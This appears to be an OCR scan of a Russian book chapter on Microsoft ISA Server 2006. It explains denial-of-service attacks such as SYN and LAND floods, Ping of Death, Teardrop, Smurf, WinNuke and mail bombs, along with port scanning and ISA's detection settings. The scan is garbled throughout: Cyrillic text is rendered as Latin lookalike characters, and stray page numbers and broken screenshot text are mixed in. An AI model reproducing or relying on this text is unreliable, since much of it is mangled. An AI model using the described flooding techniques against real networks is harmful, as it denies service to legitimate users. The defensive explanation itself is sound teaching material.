JIPYTUX THUIIOB, 1IE€JIb 3JIOYMBIIIUICHHUKA, 3amyckaromiero ataky DoS, BeiBecTH ceTh
W3 CTPOS U BBI3BaTh OTKa3 OT OOCITY)XKMBaHHs €€ 3aKOHHBIX MOJIb30BaTEICH. ATaku
OTKa30B OT OOCITy)XKHBaHHS JIETKO HWHHUIIMUPOBATH, MPOTPAMMHOE OOeCTeUeHUe
rotoBo U goctymHo Ha Web-caiiTax xakepoB M B IpyIlIax HOBOCTEH KpaJeHOIO
nmporpaMMHOro obecnedeHus (warez nNewsgroups), 4To MO3BOJSET JOOOMY
YeJIOBEKY, UMEIOIIEMY HEOOJIBIIION TEXHUUECKUI HABBIK MJIM BOOOIIE HE UMEIOIIEMY
TaKOBBIX, 3aITycTUTh D0OS-araky.

B ¢espane 2000 1. maccoBele DOS-arakm mnapamm3zoBanu pabOTy cCaMbIX
KPYITHBIX CaTOB, BKJIOYas Yahoo.com u Buy.com.

[{enr D0S-aTakm — crmenaTh CeTh HEOOCTYIMHOW 3a CYET THIMAa WIH o0bema
ceTeBOro Tpaduka, KOTOPBIM TIpUBENET K aBapuihHOMY CcOOI0 CEpBEpOB,
MEPETNOTHEHUIO MAPIIPYyTU3ATOPOB WU B TPOTUBHOM CIIy4ae HAPYIIUT HOPMAJIbHYIO
paboTy ceTeBbIX yCTPOMCTB. OTKa3 OT OOCIYKMBaHUS JOCTUTACTCA CBSI3bIBAHUEM
CEeTEeBBIX pecypcoB, Hampumep 3a cuer nepenosHeHus CPU (uenTpanasHOro
mporeccopa) Wik oObema mnaMaTH. B Japyrux ciaydasx — onpelesieHHbIN
M0JIb30BATEJIb/KOMITBIOTEP MOXKET CTaTh 00bekTOM DO0S-aTak, «I10JABEIIMBAOIINX))
KOMIIBIOTEP U TPEOYIOMIUX €ro Mepe3arpy3Ku.

[TPUMEYAHUE
B coobmecTBe KommbpioTepHOM Oe3omacHocTH DO0S-atakm wmHOTIA

HA3BIBAIOT aTakaMu «NUKe» (SIAepHBIMH).
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PacnpenesieHHasi aTaka 0TKa3a 0T 00CTyKUBAHUS

PacnpenencHable aTaku OTKa3oB oT oOcinyxuBanus (DD0S) wucnombsyror
MPOMEKYTOUHBIE  KOMITBIOTEPHI,  HAa3bIBaGMbI€  areHTaMH, Ha  KOTOPBIX
MpEeABAPUTEILHO  TAaHO  YCTAaHOBJEHBI  MPOTPAMMbI, HMEHYEMbIE  30MOW.
3II0yMBIIVICHHUK ~ yAQJI€HHO aKTUBU3UPYET MPOrpaMMbI-30MOM, BbI3bIBasg Ha
MPOMEKYTOUHBIX KOMITBIOTEPaX (KOTOPBIX MOXKET OBITh COTHH W JaXKE THICSUH)
OJIHOBPEMEHHBIN 3aIllyCK AEUCTBUTENbHOM araku. [lockonbKy araka MPUXOAUT C
KOMITBIOTEPOB, BBITIOJHSIOMIUX MPOTPAMMbBI-30MOM U PACIIONIOKEHHBIX B CETSIX IO
BCEMY MHUPY, XaKep COCOOCH CKPBITh HCTUHHBI HCTOYHHUK aTaKH.

K cpencTBam pacnpeneneHHbIX aTak 0TKa30B OT 00CIy)KuBaHus oTHOCsATCS TFN
(Tribe FloodNet), TFN2K, Trinoo u Stacheldraht (German for «barbed wire» —
«KOJIFOYasi TIPOBOJIOKA»). B TO BpeMsi Kak paHHHWE BEPCHUU ATUX CPEICTB MOpaKaIA
oneparnuonnsie cucteMbl UNIX wu  Solaris, nporpamma TFN2K yxe wmoxer
BeIOaHATECS Kak B OC UNIX, tak u B Windows.

BaxkHO OTMETUTBH, YTO paclpe/ieieHHbIe aTaKu OTKa30B OT OOCIY>KMBaHUS
MOYXXHO TPaKTOBaTh ABOSKO. CeTh MOXET OBITh Ienbio D0S-aTaku, BBI3BIBAIOIICH
coon B paboTe CEpBEPOB M HAPYIIAIONICH BXOISIIUNA M UCXOAAIMMUN Tpaduk, U
KOMITBIOTEPhI CETH MOTYT HCIOJIb30BAaThCs KaK «HEBUHHBIC MOCPETHUKN» (innocent
middlemen) s 3amycka Do0S-ataku, HampaBieHHOW NPOTHB JIPYrod CETH WM
caura.

SYN-araka/LAND-araka

SYN-araku UCHONB3YIOT «TPEXCTOpOHHee KBUTHpoBaHue» («three-way
handshake») mo TCP-mpoTokoay — mpoliecc, ¢ MOMOIIbI0 KOTOPOIO CEaHC CBSI3U
yCTaHABJIMBAaeTCs Mex1y JByMms komnbioTepamu. I[lockosnbky TCP-npoTtokon (B
omimure oT UDP-mpoTokosia) opueHTUPOBAaH HA COCIMHEHHE, CEaHC WU TPSMOU
KaHaJ CBSI3U OJIMH-K-OJHOMY yCTaHaBJIMBACTCA MPEXKJIE, YeM MOCHITIAIOTCS JaHHBIE.
KommbroTep KiauMeHTa WHUIMUPYET COCIWHEHHE C CepBepoM (KOMITBIOTEP, K

pecypcam KOTOPOro OH XOYET MOIYUYHUTh JOCTYII).

262
325



KBuTHpoBanue BKJIWOYAET caeAyOIIHe ATH

KommnberoTep kianeHTa moceiaet cerMeHT SY N (3ampoc CHHXPOHHU3AIUN ).
CepBep otnpaBmsser coobmenne ACK  (acknowledge, moarBepxaenue),
MOATBEPKAAIONIECE TOJYUYCHHE 3ampoca C MAaIlWHBI KIHWEHTa, OTIPABICHHOTO Ha
mrare 1, m SYN, cBoit cOOCTBEHHBIN 3aMpoc CHHXpPOHMU3AIMU. KOMIIBIOTEPHI KIIMEHTA
M cepBepa MODKHBI CHHXPOHU3UPOBAThH HOMEpPA IMOCIEI0BAaTEILHOCTH APYT ApPYyTa.
Knuent otnpasnser coobmenne ACK obpaTtHO cepBepy, TOATBEPkKIAask MOTyICHUE
3afmpoca cepBepa Ha cuHXpoHHM3anuio. Korma o0a KoMmbOTEpa MOATBEPIWIH
3ampockl JAPYr JApyra, PYKOMOXKATHE YCIEITHO 3aBEpHIaeTCd W MEXKIYy HUMHU
YCTAHABJIUBAECTCS COCIMHEHUE.

beuto mpuBeneHO oOmMcaHWe HOPMAIbHOTO TedeHus mporecca. SYN-ataka
WCIIONB3YET €ro IS JIABUHHOM 3arpy3kW BBIOpDAHHOW B KaueCTBE JKEPTBBI aTaKu
CHUCTEMbl MHOTOYUCIICHHBIMU MTAKETAMU CUHXPOHU3AINHU, UMEIOMMH HeBepHBIe |P-
agpeca WCTOYHHKOB, KOTOPBHIE 3aCTaBISIOT CHCTEMY OTBEYaThb C ITOMOIIBIO
cooomenuii SYN/ACK. IIpoOimemMa BO3HHMKAaeT, KOr[a CHCTEMa, OKHIAIOIIAs
coobmenue ACK or kinueHTa, OOBIMHO MNPUXOJSIIEEe B OTBET Ha €€ COOOIIeHUE
SYN/ACK, nomemaet oxumaembie coobmienuss SYN/ACK B ouepenp. Jlesio B ToM,
YTO OYepeab MOXKET XpaHUTh OTPAHMUECHHOE YUCIO Takux coobmenuii. Korga ona
3aloJIHeHa, Bce TMoclheAyomue npuxoasmue naketsl SYN OyayT UTHOpHpPOBATHCS.
Jnsa ynanenust coobmenuss SYN/ACK u3 ouepenu HE0OX0IUMO, 4TOOBI BEPHYJIOCH
coob6menne ACK ot kimeHTa uim ObUTO0 MPEBBIIIEHO TOMYyCTUMOE BpEMs OXKHUIAHUS U
3aBEPIIHIICS MPOIECC TPEXCTOPOHHETO KBUTHPOBAHUSI.

[TockoJibKy UCXOJHBIE IP-anpeca MTaKETOB SYN, MOCJIAHHBIX
3JIOYMBIIIJICHHUKOM, HeBepHbI, coobmienus ACK, oxumaeMbie cepBEepOM, HHUKOTIA
He npuayT. Odepenp ocraeTcs 3aloOJHEHHOW, W HET MecTa Il o0paboTKH
KOPPEKTHBIX  3allpOCOB  CHHXpPOHHU3AIMU.  TakuM  00pa3oM,  3aKOHHBIM
MOJIb30BATE/ISIM, TBITAIOMIUMCS  YCTAaHOBHUTH COCIMHEHUS C CEpBEpOM, OyaAeT

OTKa3aHO B 00CIIyKUBaHUH.
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LAND-araka (ataka ¢ oOpaTHOU agpecamueili) — 3TO pa3HOBUIHOCTH SY N-
atraku. B LAND-arake BMecTO OTHpaBKM TMaKETOB CHUHXPOHHM3ALUU C
HecymecTBytomumu  IP-aapecamu Bcsi JaBUHA TMAKETOB IMOCHUIAETCS Ha OJIMH
noxubeid IP-anpec monreepxkaenus (Spoof IP address), copmagaronuii ¢ agpecom
aTaKyeMOIo KOMIIbIOTEpA.

LAND-ataka MokeT OBITh NpeNOTBpalleHa 3a CYeT OT(UIBTPOBBIBAHUS
BXOJSIIMX TAKETOB, B KOTOpbIX IP-ampeca McTOYHMKA COBMANAIOT C aJpecaMu
KOMITBIOTEPOB BHYTpeHHeW cetu. Y Opanamayspa ISA Server ects 3apanee
YCTaHOBIICHHasT (YHKIIMOHAJIbHAS BO3MOKHOCTH OOHApY)KCHHS  BTOPKCHHS,
no3poJigronias  BbIsIBUTH mnonbITkM  LAND-atak #  HAacTpouUTh CUTHAJbHBIE
onoBemeHus (Alerts), ysegomisromue 00 00HapyKECHHUH TaAKOW aTaky.

Ping of Death

Hpyroit tun Do0S-ataku, Ha OOHapy>K€HHE KOTOPOW MOKHO HAcTpouth ISA
Server, — tak HaspBacMbI «Ping cMepTm» (Takke M3BECTHBIM KaK «IHHTOBaHHUE
OonbIMMHU TIakeTamMm»). ATaka «Ping cMmepTu» MpoBoAMTCsS co3naHueM |P-makera,
Ooonpuiero uem 65 536 OaiiToB, MakcuMyMa, paspemieHHoro |P-cneuundukanueit
(MHOTZIA TaKOM TAaKEeT Ha3bIBAIOT «IAaKeTOM-yOuiei»). OH MOXKEeT BbI3BaTh
aBapUHHBIA cOOM, 3aBUCAHNE HIIH TIepe3arpy3Ky CHCTEMEI.
bpanamaysp ISA mo3BoNsieT BKJIIOYMTH CICIHMAIbHOC OOHapyKeHHe artak «Ping
CMEPTUY.

Teardrop

Ataxa Teardrop meilicTByeT HECKOJIbKO MHA4e, 4eM «Ping cmepTn», HO ¢ TeMH
ke pesynbratamu. [Iporpamma Teardrop cosmaer IP-dpparmentsi, yactu IP-nakera,
Ha KOTOpPbIE OH MOXET JeNuThbcs, myremectBys mo Wuatepuery. IlpoGmema
3akio4yaercs B Tom, 4uto mons cmemeHus (offset fields) B »tux ¢parmenrax,
KOTOPBIE JOJIKHBI OTOOPaXaTh BEJIMUUHY
MOpUMM HCXOJHOTO Takera (B Oailtax), coxaepxamieiics B (parmenre,

HaKJIaAbIBAOTCA APYI HA Apyra.
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Korna xoMmmbroTep-anpecar MmompITaeTCsl MOBTOPHO COOpaTh 3TH MAKEThI, OH
HE CMOJKET ATOr0 CACNaTh W aBapUMHO 3aBEPIIUT pPabOTy, 3aBUCHET WM BBITIOJTHHT
nepe3arpysKy.

Y 3TOTO THITAa aTaKu €CTh CIASAYIONNE BAPUAHTHI:

e NewTear;

e Teardrop2;

e SynDrop;

e Boink.

Bce 3t nmporpaMmsbl CO31a10T TOT WJIM UHOW COPT HAJTOXKEHUS (parMeHTOB.
Ping-maBuna (ICMP-1aBuHa)

Ping-nmasuna (ping flood), nau ICMP-nasuna (ICMP flood) (Internet Control
Message Protocol, npoTokon ympaBisiolmMxX cooOIIeHud B cetu HHTepHET), —
CPEIICTBO «CBSI3BIBAHMS» OMPEACICHHON MamuHbl KireHTa. OHO CO3/aeTcs 3a CUeT
OTIPaBKH 3JOYMBIIUICHHUKOM OoJbIoro kosiudectsa ping-naketoB (ICMP-
MaKETOB 3X0-3allPOCOB) MpOrpaMMHOMY oOecreucHuio uHTEepdeiica Winsock wim
Habopa TeneOHHOro HOMepa. OTH JACHCTBUS MEIIAIOT KOMIIbIOTEPY-KIUEHTY
OTBEYaTh CepBEpPy Ha 3ampochl PINQ-aKTUBHOCTH U B KOHEYHOM HMTOrE MPHUBOMAAT K
pa3pbIBy COCTWHEHUS MO HCTCYCHUU JOMYCTUMOTO BPEMEHHU OXKUIAHUS OTBETA.
CumnroMoM Ping-miepernoTHeHUsT MOXKET CIY)KUTh HEBEPOSTHAS aKTUBHOCTh MOJIEMa,
O YeM CBHJICTEIBCTBYIOT €r0 CHUTHAJIbHBIC JIAaMMOUYkH. MHOrga STOT THUN aTaku
Ha3bIBaIOT ping storm (ping-mropm).

K ping-miropmy ortHocutcs u  fraggle-ataka («ockojiouHasi TpaHaTay).
Wcnonw3ys noxubiidi  |IP-angpec moareepkacHust (spoofed IP address), aapec
KOMITBIOTEPA-)KEPTBBI, 3JIOYMBINIJICHHUK TOCBUIaeT PINQG-AaKeThl B IOJACETh,
3aCTaBlisiE BCE€ KOMIIBIOTEPHI TIOJCETH OTBEUaTh IO JIOKHOMY  aJpecy

IMOATBECPKACHHA, U 3aBAJIUBACT €TI0 COO6HICHI/I$IMI/I 9X0-0TBCTOB.
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Smurf-araka

Smurf-ataka — 310 pasHoBUIHOCTH ataku «brute force» (ataku rpy0oi cuioi),
UCTIOJIB3YIOMIAs TOT K€ METOJ, 4TO U PiNg-aBUHA, HO Hampasirsitomnias taBuHy |CMP-
MAKETOB IX0-3alPOCOB Ha MApPUIPyTH3ATOP CETH. AJPecoM Ha3HaueHUs PINg-TIaKeToB
B DTOM ciyyae CIYXUT HIMPOKOBEHIATEIbHBIM aJpec CEeTH, BBIHYXIAIOIIUN
MapuIpyTHU3aTOp PACCHUIATh MAKET BCEM KOMIIBIOTEPAM CETHU HJIM €€ CErMEHTa. JTO
MOXXET MPUBECTU K OOJbIIOMY O00bEMY CETeBOro Tpaduka, €CiIM UMEETCS MHOTO
KOMIIBIOTEPOB-XOCTOB, CHOCOOHBIX CO37aTh MEPETPY3KYy, BHI3BIBAIOIIYIO OTKa3 OT
00CITy>)KMBaHMS 3aKOHHBIX MOJb30BATEICH.

[MPUMEYAHUE
[IupokoBeniaTeabHbIA aApec OOBIYHO B HACHTU(HUKATOpPE XOCTa

IPEACTABISIETCS BCEMH €IMHHMIIAMHU. JTO O3HA4aeT, YTO, HAlpuUMeEp, B CETH

kiacca C 192.168.1.0 mupokoBemarenbHbiil agpec oyaer 192.168.1.255 (255

B JICCATUYHOM cucteme cumcienus u 1111111 — B gBouuHOI), a

uaeHTuuKaTop xocra B cetu kinacca C mpeacraBisieTcsl MOCASAHUM WU Z-

oktetoM. CooOlieHne, TMOCIaHHOE Ha UIMPOKOBEUIATENbHBIN  ajapec,

HEMEJIEHHO OTIPABISETCS HA BCE XOCTHI CETH.

Camas xoBapHas (opma — mnpumeHeHue Smurf-atakyrommum soxsHoro IP-
ajipeca MOJITBEPKIACHUS MOJydeHUs PiNg-makeToB. B 3TOM ciiydae u ceTh, B KOTOPYIO
MOCJIaHbl TAKEThl, U CETh, KOTOPOU MNpuHAIIEKUT IP-ampec JT0KHOTO HCTOUYHMKA
Oynyt mneperpyxenbl TpapukoM. CeTb, K KOTOPOH OTHOCHUTCS aJpec JIOKHOTO
UCTOYHMKA, OyJeT HaBOJHEHA OTBETaMHW Ha KOMaHAy PiNg, Korja BCE XOCTHI,
KOTOPBIM IIOCJIaHa 3Ta KOMaHa, OTBETAT HA 3X0-3aIIPOC IX0-OTBETOM.

Smurf-ataku MoOryT HaHecTH Tropa3fo OOJbIIHMK yIinepOd, YeM HEKOTOpPbIe
apyrue pasHoBuaHocTH DO0S-atak, Ttakume kak SYN-naBusbsl. I[locnegnue
BO3JICUCTBYIOT TOJBKO Ha CIIOCOOHOCTh JPYTrUX KOMIIBIOTEPOB YCTAHABIMBATD
coequHenus: mo TCP-npoTokosly ¢ aTakOBaHHBIM cepBepoM, a Smurf-ataka mMoxer
MOJIHOCTBIO HapymuTh pabotTy ISP (mpoBaitnep MHTEpHET-yCIyr) Ha HECKOJBKO

MUHYT HJIA 14COB. DT0 00BsICHICTCS TEM, UTO OAHH 3JIOYMBINIJICHHHUK MOXKCT JICTKO
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orrpaButh 40 wm 50 piNg-makeToB B CEKYHAY HaXke C IOMOIIBIO MEICHHOTO
MOJIEeMHOTO coeAuHeHus. [lOoCKOJIbKY KaKIblil 3ampoc NEpechIIaeTcs KaxIoMy
KOMIIBIOTEPY B CETH-aJpecaTe, YUCIO OTBETOB B CEeKyHIy paBHO oT 40 mo 50,
MOMHOXXEHHBIM Ha YHUCJIO KOMIBIOTEPOB B CETH, T. €. MOXKET JOCTUTaTh COTEH HIIU
TBICAY. DTUX JTAHHBIX JOCTATOYHO, YTOOBI MEPErpy3uTh Aaxe kanam T-1.

OmuH U3 cnocoboB mpemorBpamieHus SMurf-atakm Ha ceTh Kak 1eib
MIMPOKOBEIIATEIbHOM  PACChUIKM —  OTKJIOYEHHE BO3MOXKHOCTH Iepeayu
MIMPOKOBENIATEIHHOTO Tpaduka Ha MapuIpyTU3aTop. BonpumHcTBO
MapuIpyTHU3aTOPOB MO3BOJISIIOT cAenaTh 3TO. /{1 Toro 4roObl MoMemaTh CETU CTaTh
xKepTBod, |P-ampec koTOphIi ucCHoONB3yeTcss JUIsl  JIOKHOTO IOJATBEPIXKIACHMUS,
HEO0XO0IUMO KOH(MUTypUpOBaTh OpaHaMay’p M OTPUIBTPOBBIBAHUS BXOASLIUX
ping-makeToB.

UDP-60om6a, uiiu UDP-mtopm

3M0yMBIIUICHHUK ~ MOXET  HPUMEHUTh  MPOTOKOJI  IMOJb30BATEIBCKHUX
newrarpamm (User Datagram Protocol, UDP) u oauH M3 HECKOJBKHUX CEPBHUCOB,
dbopMupyOIIMX 3XO0-MAKEeThl Ha ajpecarax, JJIA CO3/IaHUs CETEBOW MEpPEerpy3ku H
OTKa30B OT 00OCIy>KHMBaHMs 3a cueT renepanuu jgaBunbl UDP-nakeroB Mexny aByms
cucTeMaMu Ha3HadeHus. Hanpumep, reHepupyrommii cumBoisbl (Chargen) UDP-
CEepBHUC Ha NMEPBOM KOMIIBIOTEpE, CIYXKAIIUM TECTHPYIOIIUM CpPEICTBOM, KOTOpPOE
CO37aeT MOCJIE0BATEIbHOCTh CUMBOJIOB JJIsi KaXJOTO MOJYYEHHOIO WM IaKeTa,
MOChIIaeT MakeThl Ha 3x0-cepBuc UDP apyroii cucremsl, KOTOPBIH (GOPMUPYET IXO0-
OTBET Ha KaXJbIH MOJy4eHHBIH CUMBOJ. C MOMOIIBIO ATUX TECTUPYIOIMIHUX CPEACTB
OECKOHEUHBIH MOTOK 3X0-CUMBOJIOB IE€pPEChIIaeTCs B 000UX HAINpPaBICHUSX MEXKIY
JIBYMsI CUCTEMaMH, CO3/1aBasi Meperpy3ky cetu. MHorna 3TOT TUN aTakd Ha3bIBAIOT
mropmom UDP-nakeros (UDP packet storm).

I[ToMumo 3Xo-mopta 7 3J0YMBILNUIEHHUK MOXET MCHOJIb30BaTh MOpT 17
cepuca quote of the day (quotd) mmu mopt 13 cepBuca daytime. DT cepBHCHI
TaKkK€ CO3/Jal0T 3XO0-OTBETHl Ha TMoJiydaeMble HMH makeTbl. CHMBOJBI,

crenepupoBanHbie UDP-cepBucom, nocrymnatot Ha nopt 19.
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Otkimouenne HeHykHbIX UDP-cepBHCOB Ha KaXKJIOM KOMIIbIOTEpE (OCOOEHHO
YIOMSIHYTBIX paHee) WM MpUMEHEHUEe OpaHaMayspa sl OTPUILTPOBBIBAHUS ITUX
MOPTOB/ CEPBUCOB 3AIUTUT OT aTaKW 3TOTO THIIA.

UDP-araka Snork

Snork-araka momoona UDP-6om0e. B Heii mnpumensercs UDP-6i0k,
coAepkanui mopT UCTOYHUKA 7 (9x0) wim 19 (reHepanusi CUMBOJIOB) U TOPT
aapecara 135 (cpencta anpecanuu (location service) pupmer Microsoft). Pesynprar
aHAJIOTUYHBIA  —  JIaBUHA  HEHYXKHBIX  Tepefay,  CIOCOOHBIX  CHU3UTH
MIPOM3BOIUTEILHOCTh WJIM BBI3BAaTh aBapUIHBINA COOIl BOBJICUEHHBIX CUCTEM.

Araka WinNuke (araka Windows Out-of-Band)

ATtaka mepenayu cpodHbIX naHHBIX (Out-of-band, OOB), nnorna HazeiBacmas
Windows OOB bug, ucrnonb3yeT B cBoMX WHTEpecax ysa3BUMOCTh ceteir Microsoft.
[Mporpamma WinNuke (1 ee pasHoBHaHOCTH, Takue Kak Sinnerz u Muerte)
BBITIOJTHACT Tepeaaqdy SKCTPEHHBIX JaHHBIX, BBI3BIBAIONIUX aBapHHBIN cOOW Ha
KoMIbIoTepe-afpecate. PaboTaer oHa cieayronuM o0pa3oM: yCTaHABIMBAECTCA
coequnenne TCP/IP ¢ IP-anpecom anpecarta, ucnonwiyromiee nopt 139 (mopr
NetBIOS). 3arem mporpaMMa MOCHIJIAET JaHHBIE, COACPKAIINE B 3arojOBKE MaKeTa
¢mar MSG_OOB (umum Urgent). Drotr ¢uar 3acraBiasier untepdeiic Winsock
KOMIIbIOTEpA MOCHUIATh JAaHHBIC, HAa3bIBAEMbIC SKCTPEHHBIMU HMJIM CPOYHBbIMH (OUut-Of-
band data, OOB). Ha npueme Windows-cepBep, ampecar, OXHIaeT yKas3arelb B
MaKeTe, CChUIAIOIIMICS Ha TO3UIIMIO 3aBEPIICHHS SKCTPEHHBIX JAHHBIX, 32 KOTOPOM
cieayroT ooOwbuHble naHHbie. OgHako OOB-ykazaTtens B makeTe, CO3laHHOM IIPoO-
rpammoit WinNuke, ccpimaeTcst Ha 6JI0K, 32 KOTOPBIM HET MOCIIEIYIOIINX TaHHBIX.

Kommnerorep nmon ynpasineaunem OC Windows He 3Haet, kak 00paboTaTh Takyro
CUTYallMI0 M TPEPHIBACT KOMMYHHUKAIIMA B CETH, W BCE ITOCJICIYIONINE ITOMBITKH
MOJIB30BATENICH CBSI3aThCSl C HUM 3aKOHYATCA OTKAa30M OT MX OOCTyXHBaHUSA. ATaka
WinNuke o06srarO0 TpeOyeT nepe3arpy3ku aTakOBaHHOW CUCTEMBI JUISI BOCCTAHOBJICHUS

CETEBbIX KOMMYHUKAIIHUM.
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OC Windows 95 u NT Bepcuii 3.5 1 u 4.0 ys3Bumer mst araku WinNuke,
HECMOTPS Ha YCTaHOBKY MCIPaBICHUH, MpeocTaBieHHbIX hupmoii Microsoft.

Omnepanuonnsie cuctemsl Windows 98/ME u Windows 2000/2003 we
nonsepkeHbl arakam  WinNuke, Opannmaysp ISA Server mo3BoiisieT BKIIOYUTH
oOHapy>KEHHUE MOMBITOK aTakK Mepelaud CPOYHBIX JTaHHBIX.

ATaka Mail Bomb

ATtaka «mouyrtoBas 6ombOa» (mail bomb) — cpencTBo mepenonHeHus MOYTOBOrO
cepBepa, BBI3BIBAIOIICE OCTAHOBKY €r0 ()YHKIIMOHUPOBAHMS M TEM CaMbIM OTKa3 OT
00CITyXKMBaHUS MOJIb30BaTEICH. ITO OTHOCUTEIHHO MPOCTasi PAa3HOBUIHOCTh aTaKH,
BBITIOJIHSIEMAs C TIOMOIIBbIO OTIPABKU OOJIBIIOTO MAaCCHUBA COOOIIEHUHN STIEKTPOHHOMN
MOYTHl KOHKPETHOMY IIOJIh30BATENI0O WM cucTeMe. Ha Xakepckux calTax B
HuTepHETE ecTh MpOorpamMMbl, MO3BOJSIONINE JIETKO 3allyCTUTh MOYTOBYIO OOMOY,
aBTOMATUYECKU OTIIPABIISS JaBUHY COOOIIECHUH AIEKTPOHHON MOYTHI HAa 3a/laHHBIN
aJIpec M CKphIBas MPU ITOM aBTOPCTBO 3JI0yMBITIIICHHUKA.

Pa3HOBUAHOCTBIO TOYTOBOM  OOMOBI  MOXET CIYXKUThb IPOTpaMMa,
ABTOMATUYECKHA TOJIMUCHIBAIONIAS KOMIBIOTEpP-aApecaT Ha COTHU H  THICSYH
PaCCBIJIOK MHTEPHET-CIIUCKOB OTPOMHOT0 00beMa, KOTOPBIC 3aIMOJHSIOT MMOYTOBBIN
SIIUK TTOJB30BATEIIS U/WIIN MIOYTOBBIN cepBep. boMOUCTHI Ha3BIBAIOT ATOT BHJI aTAKH
3arpy3kori cnuckoB pacceuiku (list linking). K mnpumepam Ttakux mporpamMm
oTHOCSTCS mouToBBIe O0MOBI Unabomber, extreme Mail, Avalanche u Kaboom.

CrpaBuUTbCS C TOBTOPSIOMIMMHCS  TOYTOBBIMH  OOMOaMHM  MOMOKET
OJIOKMPOBAHME C MOMOIIbIO MAKETHBIX (UIBTPOB TpaduKa U3 CETH, MOPOKIAIOIIEH
araky. K coxkaneHuro, 3ToT crnocod He TOAWUTCS sl 3arpy3KH CHUCKOB PACCHIIKH,
MOCKOJIBKY aJPEC-UCTOYHHUK CKPBIT, MOTOK Tpaduka MPUXOJUT OT MOYTOBBIX
PacChUJIOK CITUCKOB, HAa KOTOPBIC KEPTBA ObLIa MO ITUCAHA.

CkaHupoBaHue U MOJMEHA ajpeca MOATBEPKIeHUsI

Tepmun ckanep (SCanner) B KOHTEKCTE CETEBOW OE30MACHOCTH O3HAYaeT

nporpamMmy, KOTOpas HCIOJB3YeTCS XakepaMu il yIaJeHHOTO OIpeaesieHuUs

OTKPBITBIX Ha JJAHHOHM CHUCTEME M, CIEA0BATEIbHO, YI3BUMBIX Jis ataku T CP/UDP-
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noptoB. CKaHephl TakKe NPUMEHSIOTCS aIMHUHUCTPATOPAMHU IS BBISBJICHUS
c1abbIX MECT B MX COOCTBEHHBIX CHCTEMAaxX M YCTPAHEHHUS HMX, MPEXKAEC YEM ITH
YSI3BUMOCTH OOHApY>KUT 3JIOYMBIIUIEHHUK. CeTeBble TUArHOCTHUECKHE CPENICTBa,
Takhue Kak wu3BecTHoe Security Administrator's Tool for Analyzing Networks
(SATAN, CpencTtBo aBTOMATH3UPOBAHHOIO KOHTPOJIS O€30MacHOCTH), YTHIIUTA
UNIX, Bxio4aroT pa3BUTbIE (QYHKIMOHAIbHBIE BO3MOXXHOCTH CKAHHUPOBAHUS
OPTOB.

Xopomiasi CKaHUpPYOas MporpaMMa MOXET ONpEeIeUTh MECTOHAXO0XKICHUE
KOMIIbIOTepa-1ienn B MHTepHETe (OAHOTO W3 YSI3BUMBIX [JISl aTaku), OMPEICIHTD,
kakue TCP/IP-cepBHCHI BBIMOIHIIOTCS Ha MAIlIMHE, U MCCIEA0BaTh C1a0ble MecTa B
3aIUTEe ITUX CEPBUCOB.

[TPUMEYAHUE
Cpenu xakepoB ObITyeT MHEHHE: «XOpOLIUM CKaHEep MOPTOB CTOUT

TBICSYH ITAPOJIEN.

MHorue CkaHupyollue TMporpaMMbl MOXKHO HaWtu B HHTepHeTe Kak
CBOOOJIHO pacmpocTpaHsieMoe MPOTPaMMHOE OOecrieueHue.

CxkaHupoBaHMe OPTOB

CkaHupoBaHHME TMOPTOB — ATO TMpoIlecc Moucka «ciymarmmmx» [CP- umun
UDP-nopToB Ha KOMIbIOTEPE WJIM MApUIPYTU3aTOPE U MOJYYEHUE OT CIYIIAIOUIUX
MOpPTOB MakcuMyMa cBeneHuit o0 yctporictBe. TCP- u UDP-cepBuchl npumeHsoT
psaa monyispHeix moptoB (well-known ports), kotopsie HIHPOKO OMyOIMKOBAHBI.
Xakep UCIONB3YyeT OTHU CBEICHHS O MIUPOKO HCIOJIB3YEMBIX TOpTax s
AKCTPAIOJIAIUUA UHPOopMaIu.

Hanpumep, mpotokon Telnet oObruno wucnonwsdyer mopt 23. Ecim xakep
OOHapY>KHUT, YTO ATOT MOPT OTKPBHIT M OXKHUAACT 3aMpoC, OH JIOTaABIBACTCS, YTO Ha
MaIllMHe, BO3MOXKHO, paspeireH Telnet. 3atemM 3710yMBIIIIEHHUK MOXET MOMBITAThCS
NPOHUKHYTH B CHCTEMY, Hampumep, Moao0paB MOAXOIANINN MapoJib B XOl€ aTaku

rpy6oii cunoit (brute-force).
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Oo6napy:xenue u npenorspanienue DNS-arak

DNS-duneTp O6panamayspa ISA zammumiaer DNS-cepBepsl, ony0JIMKOBaHHBIC
Opanamayaspom ISA ¢ momoinpro mpaBui myonukoBaHus cepBepa (Server Publishing
Rules). K crpannme xkondurypupoBanusi npenorBpamienus DNS-arak moxHO
NOJYYHTh JOCTYNl B JHanoroBoM okHe «OOHapyxkeHnue Bropxkenuit (Intrusion
Detection)». Packpoiite ums cepBepa, a 3areM packpoite y3en «Kondurypupoanue
(Configuration)y. enkuute mbiibio y3en «Oomme (General)y.

Ha nanenu «JlomomuutensHas monutuka OesonacHoctu (Details)» mienkauTe
MBIIIBIO CCBUIKY «Bximounts oOHapyxeHue BTOpskeHuil M oOHapyxkeHue DNS-atak
(Enable Intrusion Detection and DNS Attack Detection)». B nuanorosom okue «O0Ha-
pyxenne Bropxkeruid (Intrusion Detection)» menkuute Brinagky «DNS-araku (DNS
Attacks)». Ha Bkmamke «DNS-ataku (DNS Attacks)» ycranoBute Qaxkok

«Bxmrounte oOHapyxenue u ¢uiabTpanuio DNS-arak (Enable detection and
filtering of DNS attacks)».

Microsoft Tntern ecurity and Acceleration Server 2006 == x|
| O6Hapywenne sTopxenwi 2=
4 Pacpoctparertoie ata  DNS-ataru |
= W BrtouuTs obHapywerite 1 unbTpalyto DNS-aTard
E )BEp Xpannnma HacT poer: user-9e55b268e1 O6ume
c DUNETPOBATE BXOAAWLMIA TPShUK ANA NPOSEPKA:
I OepenonHeHs uMeH ysnos DNS
¥ MepenoneHie aniHel DNS / Cnpaexa \
™ nepenauu soH DNS -
- LA S Obwee =
erver ANMUHUCTPUPOBAHHUE
x poneii =] S:ﬁsgfgég:or:faa':‘?pb' fmenTS MapaMeTpel Ha OAHHOA CTPaHWUE
. ? P MOMHO MCMONBZ0BATE ANS
- HaCTpoiiky obuwx
TP V<maTe napane TPl yaanenHoro AAMWHUCTPETMBHEIX NaPAMETROS,
e aocTyna rAoBaneHeix HTTP-napamMeTpoe U
OoNoAHMTENBHEIX NapaMeTpos
s BesonacHocTi.
i AnA HacTpolikk yEeaoMneHWi of oGHapmeHHblx_
DMS-3TaKaxX M3MEHUTE ONPeASneHA ONoBEWLEHMR AN Onucanmus onepaymwii:
AZHHBIX aTak. )
TP-NONUTUKKM
